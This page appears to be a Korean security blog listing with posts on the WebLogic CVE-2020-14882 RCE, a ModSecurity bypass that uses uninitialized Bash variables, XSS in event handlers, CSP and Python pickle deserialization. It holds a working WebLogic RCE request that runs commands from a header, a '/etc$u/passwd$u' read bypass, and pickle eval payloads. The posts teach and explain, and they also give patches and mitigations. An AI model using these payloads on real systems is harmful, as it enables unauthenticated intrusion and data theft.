보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

※ 개요

 - Oracle의 WebLogic Server에서 발견된 취약점

 - 공격자는 해당 취약점을 이용하여 RCE(원격코드 실행)가 가능함. 이는 인증 없이 원격에서 명령어 실행이 가능한 취약점으로써 굉장히 크리티컬한 취약점이라 할 수 있음 ( CVSS Score 9.8 )

 

※ 설명

 - admin portal(기본 설정은 TCP port 7001)에서 발생되는 exploit

 - double-encoded path traversal %25%2E%25%2E%252F 과 admin portal console.portal 이 요청 URI에 포함된다는 특징이 있음

 - 단순히 패턴으로 차단할 경우에는 다음과 같은 기법들을 통해 우회될 수 있으니 보안패치할 것을 권고함

 

□ 영향을 받는 제품 및 버전

제품명 영향받는 버전 CVSS Score(3.1)
WebLogic Server 10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
9.8

 

※ 대응방안

 - Oracle社 홈페이지에서 Patch Availability Document를 참고하여 최신 버전으로 업데이트 적용

 - 영향받는 버전은 아래의 패치 적용

  • oracle-weblogic-10_3_6_0_0-apply-patch-32097188
  • oracle-weblogic-12_1_3_0_0-apply-patch-32097177
  • oracle-weblogic-12_2_1_3_0-apply-patch-32097173
  • oracle-weblogic-12_2_1_4_0-apply-patch-32097167
  • oracle-weblogic-14_1_1_0_0-apply-patch-32097180
  • oracle-weblogic-cve-2020-14750

 

※ PoC 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: XXX.XXX.XXX.XXX:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258
 
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");
 
cs

 

 

===============================================================================

(참고)

- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35761 

- https://github.com/jas502n/CVE-2020-14882

- https://programmersought.com/article/56287596430/

- https://www.rapid7.com/blog/post/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/

반응형

'Hacking > Web' 카테고리의 다른 글

ASP.NET ViewState deserialization  (0) 2021.08.19
WAF bypass using an uninitialized Bash variable  (0) 2021.07.16
Liferay Portal RCE ( CVE-2020–7961 )  (0) 2020.08.14
XSS In event handler  (0) 2020.08.06
Content Security Policy(csp)  (2) 2020.07.28
블로그 이미지

rootable

,
반응형

KISA에서 진행하는 2021년도 실전형 정보보호제품군 초급 2차과정을 진행하다가 재미있는 것을 발견하여 기록해둔다.

해당 과정에서는 ModSecurity라는 WAF을 운영하여 웹 취약점들을 차단하는 실습을 진행하였다.

 

1. 설정되어 있는 방화벽 룰

우선 현재 적용되어 있는 방화벽 룰을 확인해보자.

/etc/passwd를 막는 방화벽 룰

해당 방화벽 룰에서는 /etc/passwd라는 문자열 자체를 방어하고 있다.

이를 우회하는 방법은 다양하지만 이번에 진행하는 방법은 초기화되지 않은 bash 변수를 사용해보겠다.

 

2. 초기화되지 않은 Bash 변수

여기서 말하는 초기화되지 않은 bash 변수란 $u를 말한다.

아래 그림을 보자.

초기화되지 않은 변수

 

리눅스 bash 쉘에서 다음과 같이 초기화되지 않은 변수를 echo로 출력해보면 아무것도 출력되지 않는 것을 볼 수 있다.

즉 초기화되지 않은 변수는 ""를 의미한다는 것이다.

이를 공격에 적용해보자.

 

3. 공격에 활용

우선 웹쉘을 통해 cat /etc/passwd 명령어를 날리면 아래 그림과 같이 방화벽에 의해 차단됨을 확인할 수 있다.

방화벽에 의해 차단된 공격

 

이제 여기에 위해서 설명한 초기화되지 않은 변수를 활용하게 되면 다음과 같이 방화벽 우회가 가능하다.

방화벽 우회 : cat /etc$u/passwd$u

다음과 같이 초기화된 변수를 길게 사용할 수도 있다.

긴 초기화되지 않은 변수명 사용

 

4. 대응방안

 - 해당 공격방법을 막기 위해서는 $ 문자를 방화벽에서 차단하면 된다. 하지만 수많은 오탐이 발생할 수 있기 때문에 단순히 $를 차단하는 것은 권고하기 어렵다.

 - 따라서 오탐을 최대한 방지하면서 해당 공격 패턴을 막기 위해서는 공격을 시도하기 위해 특수문자를 많이 사용할 가능성이 크므로 4번 혹은 그 이상 특수문자를 사용할 경우 차단하는 방식으로 가는 것을 권고한다.

 - 가장 추천하는 방식은 시큐어코딩을 통해 이러한 공격 자체가 안되도록 하는 것이 BEST이다.


( 참고 ) https://www.secjuice.com/web-application-firewall-waf-evasion/

반응형
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

XSS In event handler

Hacking/Web 2020. 8. 6. 17:33
반응형

1. Question

이번 포스팅을 시작하기에 앞서 먼저 질문을 드리겠습니다.


아래 코드에서 TEST를 눌렀을 때와 TEST2를 눌렀을 때 결과가 어떻게 될 것이라 예상하시나요?

1
2
3
4
5
6
<html>
    <body>
        <a onclick="alert('123')">TEST</a>
        <a onclick="alert('123&apos;)+alert(&apos;Hacked')">TEST2</a>
    </body>
</html>
cs


TEST를 클릭했을 때는 당연히 123이 출력이 될 것입니다.

그렇다면 TEST2를 클릭했을 때는?

123&apos;)+alert(&apos;Hacked 이라는 문자열이 출력될 것이라 예상하시나요?


정답은 [그렇지 않다] 입니다.


TEST2를 클릭하게 되면 123이 출력되고 이후 Hacked라는 문자열이 출력됩니다. 

즉, <a onclick="alert('123&apos;)+alert(&apos;Hacked')">TEST2</a> 이라는 문장이

<a onclick="alert('123')+alert('Hacked')">TEST2</a>처럼 작동을 한다는 것이죠




2. Why?

이것은 왜 그럴까요?


대부분 XSS의 대응방안으로 싱글쿼터('), 더블쿼터(") 등을 HTML Entity로 인코딩하는 것으로 알고 계실겁니다.

사용자가 입력한 문자열이 자바스크립트 영역이나 HTML 영역에 포함이 되었다면 위와 같은 특수문자를 HTML Entity로 인코딩하여 대응이 가능합니다.


하지만, 위와 같이 사용자의 입력값이 Event Handler에 속하게 될 경우 브라우저가 이를 렌더링하여 원래 문자열로 변경하여 실행시키기 때문에 서버 측에서 사용자의 입력값을 HTML Entity로 변경하여도 실행이 되는 것입니다.




3. How?

그렇다면 위와 같이 사용자의 입력값이 이벤트 핸들러에 포함되는 경우 어떻게 대응을 해야할까요?


사용자가 입력한 값을 태그가 아닌 단순 문자열로 출력해주는 기능을 활용하면 됩니다.

JSP 언어 기준으로는 JSTL의 c:out이 있습니다.


c:out 태그의 escapeXml 옵션을 false로 지정하면 해당 스크립트가 실행이 되지만 true로 지정할 경우에는 값을 문자열 그대로 출력하기 때문에 스크립트 실행이 되지 않습니다.


◎ escapeXml=false

1
<c:out value="<script>alert(1)</script>" escapeXml="false"/>
cs


◎ escapeXml=true

1
<c:out value="<script>alert(1)</script>"/>
cs



따라서 만약 사용자로부터 입력받는 것을 단순히 ${input}이라고 지정했다면 c:out을 이용하여 아래와 같이 수정하면 됩니다.

<c:out value="${input}"/>



(참고)

https://needjarvis.tistory.com/51

https://webcoding.tistory.com/entry/JSP-JSTL-cout-%ED%83%9C%EA%B7%B8-%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0



반응형
블로그 이미지

rootable

,
반응형

0.개요

브라우저는 어플리케이션에 속한 스크립트와 제3자가 악의적으로 주입한 스크립트를 구분하지 못한다. 그래서 이것을 이용한 공격이 있는데, 그것은 바로 XSS(Cross Site Scripting) 취약점이다. 


해당 취약점에 대한 공격의 위험과 영향을 줄여주기 위해 브라우저에게 신뢰할 수 있는 데이터에 대한 허용 목록을 클라이언트에게 알려주는 CSP(Content Security Policy)에 대해 알아보도록 하겠다.




1. 소스 허용 목록

Content-Security-Policy HTTP 헤더를 통해 신뢰할 수 있는 데이터의 허용 목록을 클라이언트에 알려준다.

예를 들어 자기 자신과 rootable.tistory.com에서는 신뢰할 수 있는 컨텐츠가 제공될 것이라 믿을 경우, 다음과 같은 csp를 통해 코드의 출처가 다음 두 가지 소스 중 하나일 때만 스크립트 실행을 허용할 수 있다.

Content-Security-Policy: script-src 'self' https://rootable.tistory.com




2. 다양한 리소스 정책

csp가 스크립트 리소스에 대해 허용 목록을 제공하기 위해 만들어진 것이지만, 스크립트 뿐만 아니라 다양한 리소스에 대한 제어 정책 지시문도 제공하고 있다.


대표적으로 default-src 지시문을 통해 -src로 끝나는 모든 지시문에 대해 정책을 정의할 수 있다.

예를 들어 다음과 같은 정책이 있다고 가정해보자.

Content-Security-Policy: default-src https://rootable.tistory.com


만약 위와 같이 정책이 설정되어 있을 때 img-src, media-src를 따로 지정하지 않는다면 https://rootable.tistory.com에서만 이미지 로드, 미디어 로드가 가능하다.


이외에도 다음과 같은 지시문들이 더 존재한다.

 child-src

 삽입된 프레임 콘텐츠에 대한 URL 나열

 ex) child-src https://youtube.com → 다른 출처가 아닌 YouTube에서 가져온 동영상만 삽입 가능

 connect-src

 (XHR, WebSockets 및 EventSource를 통해) 연결할 수 있는 출처 제한

 form-action

 <form> 태그에서의 제출을 위해 유효한 End-Point 나열

 img-src

 이미지를 로드할 수 있는 출처 정의 

 media-src

 동영상과 오디오를 제공하도록 허용되는 출처 정의

 object-src

 플래시와 기타 플러그인에 대한 출처 정의


위 표는 많이 사용되는 것들 몇개만 나열한 것이므로, 자세한 것은 다음 사이트를 참고하길 바란다.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy




3. 소스 목록

3.1 직관적인 소스 목록

지시문에서 정의하는 소스는 단순히 나열할 수 있고, 각 지시문은 세미콜론( ; )을 통해 구분을 한다.


1) 스크립트 지시문 소스 나열

Content-Security-Policy: script-src https://rootable.tistory.com https://google.com


2) 지시문 나열

Content-Security-Policy: script-src https://rootable.tistory.com; child-src 'none'; object-src 'none'


3.2 소스 목록의 유연함

각 지시문의 소스 목록은 유연하게 작성할 수 있다.

data: , http: 와 같은 프로토콜 기준으로 소스 지정이 가능하며, 호스트 이름만으로도 가능하고, 포트까지 정의도 가능하다.

게다가 와일드 카드가 허용되지만, 프로토콜이나 포트, 호스트 이름의 맨 왼쪽 위치에서만 허용된다.


허용되는 부분에 와일드 카드를 적용한 것은 다음과 같은 형태이다.

*://*.tistory.com:*


3.3 키워드

소스 목록에서는 다음 4개의 키워드도 허용된다.


◎ 'none' : 아무것과도 일치하지 않음

◎ 'self' : 현재 출처와 일치, 하위 도메인은 일치하지 않음

◎ 'unsafe-inline' : 인라인 자바스크립트 및 CSS 허용

◎ 'unsafe-eval' :  eval과 같은 텍스트-자바스크립트 메커니즘 허용


이 때, 각 키워드는 작은 따옴표가 필요하다.

만약 script-src self로 작성할 경우, self가 키워드로써 작동하는 것이 아니라 self라는 이름의 서버에 존재하는 자바스크립트를 허용하도록 설정된다.




4. 활용 예시

1) 소셜 미디어 위젯

구글의 +1 버튼, Facebook의 Like 버튼, Twitter의 Tweet 버튼을 허용하기 위해서는 다음과 같은 CSP가 적용된다.

script-src https://apis.google.com https://platform.twitter.com; child-src https://plusone.google.com https://facebook.com https://platform.twitter.com


2) SSL 전용

모든 리소스를 보안 채널을 통해서만 로드하고 싶을 경우 다음과 같은 CSP로 가능하다.

default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline'



(참고)

https://developers.google.com/web/fundamentals/security/csp?hl=ko#구현_세부정보

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web

반응형

'Hacking > Web' 카테고리의 다른 글

Liferay Portal RCE ( CVE-2020–7961 )  (0) 2020.08.14
XSS In event handler  (0) 2020.08.06
python deserialize vulnerability in pickle module  (1) 2020.07.26
Filter bypass Using Multipart form data  (0) 2020.05.08
SQL Injection where filter bypass  (2) 2020.04.23
블로그 이미지

rootable

,
반응형

0. 목적

 - python의 pickle 모듈에서 발생되는 deserialize 취약점에 대해서 분석




1. 정의

1.1 pickle 모듈

python의 pickle 모듈은 객체 구조의 직렬화와 역 직렬화를 위한 바이너리 프로토콜을 구현하기 위해 사용한다. 


그렇다면 직렬화와 역 직렬화는 무엇을 의미하는 것일까? 이에 대한 것을 간단하게 표현하자면 다음과 같다.    

 - pickling ( = Serialization ) : 파이썬 객체 계층 구조 → 바이트 스트림

 - unpickling ( = Deserialization ) : 바이트 스트림 → 파이썬 객체 계층 구조

바로 파이썬 객체 계층 구조를 바이트 스트림으로 변환하는 것이 직렬화 혹은 pickling이라 하고, 이에 대한 역 연산이 바로 역 직렬화 혹은 unpickling인 것이다.

     

그렇다면 이러한 직렬화를 하는 이유는 무엇일까?

그 이유는 직렬화된 데이터를 파일/데이터베이스에 저장하거나 세션에 걸쳐 프로그램 상태를 유지하거나, 네트워크를 통해 데이터를 전송하기 위해서이다. pickle된 바이트 스트림은 unpickling을 통해 원래 객체 계층을 다시 만드는데 사용할 수 있다.



1.2 모듈 인터페이스

pickle 모듈의 인터페이스 중 대표되는 4개의 인터페이스에 대해서 설명하겠다.


1) pickle.dump : 객체 obj의 피클 된 표현을 열린 파일 객체 file에 쓴다.

2) pickle.dumps :  객체 obj의 피클 된 표현을 파일에 쓰는 대신 bytes 객체로 반환한다.


3) pickle.load : 열린 파일 객체 file에서 객체의 피클 된 표현을 읽고, 그 안에 지정된 객체 계층 구조를 재구성하여 반환

4) pickle.loads : 객체의 피클 된 표현 data의 재구성된 객체 계층 구조를 반환


아래는 pickle.dump을 이용하여 "Rootable"이라는 String 객체를 직렬화하고, pickle.loads를 이용하여 다시 역직렬화 예시이다.

python3에서 TEST한 코드



1.3 pickle 동작 분석

- pickletools.dis를 통해 disassemble 한 것을 분석하여 pickle이 어떻게 동작하는지를 분석해보자.

- 아래 예제는 info라는 딕셔너리에 name, userid, password라는 3개의 쌍을 추가하고 이를 직렬화(pickling)한 뒤 이를 pickletools.dis한 것이다.


각각의 문장에 대해 간단히 설명을 추가해보자면 다음과 같다.

 0: PROTO    3        → protocol의 버전을 나타내는 것으로 python의 버전이라고 생각하면 된다.

 2: EMPTY_DICT    → 빈 Python list를 만들고 이를 stack에 올린다.

 3: BINPUT  [index]      → 이전의 item(빈 리스트)를 스택의 0번째에 올린다. 뒤의 숫자는 index를 나타낸다고 생각하면 된다.

 5: MARK            → 스택에서 리스트의 시작을 의미한다.

 6: BINUNICODE '[문자열]' → binary로 표현된 것을 unicode로 변환하여 스택에 넣는다.

 78 : SETITEMS (MARK at 5) → 5번째에 있는 MARK를 기준으로 stack에 있는 key와 value를 list에 넣는다.



(참고)pickle.py에 SETITEMS는 다음과 같이 구현이 되어있다.

1
2
3
4
5
def load_setitems(self):
    items = self.pop_mark()
    dict = self.stack[-1]
    for i in range(0len(items), 2):
        dict[items[i]] = items[i + 1]
cs





2. deserialize 취약점 동작 원리

- pickle 모듈은 다양한 메소드를 지원하고 있다. 이 중 object.__reduce__() 메소드에서 취약점이 발생한다. 


2.1 __reduce__() 메소드

__reduce__() 메소드는 파이썬 객체 계층 구조를 unpickling 할 때 객체를 재구성하는 것에 대한 tuple을 반환해주는 메소드이다.


이렇게 말을 한다면 무슨 말인지 이해가 잘 안가니 조금 더 풀어서 설명을 하겠다.


바이트 스트림을 unpickle할 때, pickle 모듈은 먼저 original object의 인스턴스를 만들고 나서 그 인스턴스를 올바른 데이터로 채운다. 이를 위해서 바이트 스트림에는 original object 인스턴스에 특정된 데이터만 포함한다. 

그러나 데이터만을 가지고 있는 것으로는 충분하지 않을 수 있다. object를 성공적으로 unpickle하기 위해, 그 pickle된 바이트 스트림에는 unpicker에 대한 명령 피연산자와 함께 원래 객체 구조를 재구성하는 명령이 포함되어 있어 객체 구조를 채울 수 있다.


여기서 unpicker에 대한 명령 피연산자와 원래 객체 구조를 재구성하는 명령을 __reduce__() 메소드를 통해 선언하는 것이다. 이를 통해 object가 unpickle될 때 어떻게 재구성될지를 알려주는 것이다.


__reduce__ 메소드는 보통 리턴 값은 2개의 인자를 가지고 있으며 다음의 구성을 가지고 있다.

⦁ 호출가능한 객체 (보통 호출할 클래스의 이름이다)

⦁ 호출가능한 객체에 대한 인자. 호출가능한 객체가 인자를 받아들이지 않으면 빈 튜플을 제공해야 한다.


이 때 호출가능한 객체에 eval 혹은 os와 같이 명령어를 실행할 수 있는 클래스를 임의로 지정할 수 있다면, 이로 인해 RCE와 같은 보안 취약점이 발생할 수 있다.



2.2 취약점 예시

 - 아래 예시는 eval 함수를 이용하여 rootable이라는 문자열을 print 하는 예시이다. 아래와 같이 해당 payload를 loads하게 되면 print 함수가 실행되는 것을 볼 수 있다.

 - stack에 함수로 [ eval ]을 입력하고, 그 인자로 [ print('rootable') ]를 입력해서 실행되는 것을 알 수 있다.



 - payload는 __builtin__.eval(print('rootable'))를 의미함.


 - b : byte 형식임을 표현

 - c : 모듈의 이름 앞에 붙는 문자

 - ( : stack 의 시작지점

 - S : 문자열 표현

 - tR : 코드의 끝에 붙는 문자



 - Exploit1 클래스를 보면 print(123) 문장을 실행시키는 exploit 코드이다. 

eval은 식을 실행 시키는 것이고 exec는 문장을 실행시키는 것이기 때문에 print(123)을 실행시키기 위해서는 exec를 이용해야 한다. 하지만, exec는 return 값 자체가 없기 때문에 compile 함수를 통해 컴파일 코드로 변환시킨 후 eval로 실행시켜주는 것으로 exploit할 수 있다.


 - Exploit2 클래스를 보면 os 모듈을 이용하여 whoami라는 명령어를 실행시킨 exploit코드이다.

해당 exploit을 활용하여 RCE가 가능하다.


./flag.txt 파일 읽기


class Exploit(object):

   def __reduce__(self):

      p = "open('./flag.txt').read()"

      return (eval,(p,))



(참고)

https://stackoverflow.com/questions/19855156/whats-the-exact-usage-of-reduce-in-pickler

https://rushter.com/blog/pickle-serialization-internals/

https://as3617.tistory.com/34?category=866748

https://whitesnake1004.tistory.com/704

https://www.synopsys.com/blogs/software-security/python-pickling/

반응형

'Hacking > Web' 카테고리의 다른 글

XSS In event handler  (0) 2020.08.06
Content Security Policy(csp)  (2) 2020.07.28
Filter bypass Using Multipart form data  (0) 2020.05.08
SQL Injection where filter bypass  (2) 2020.04.23
get column name in mysql error based sql injection  (0) 2020.04.22
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.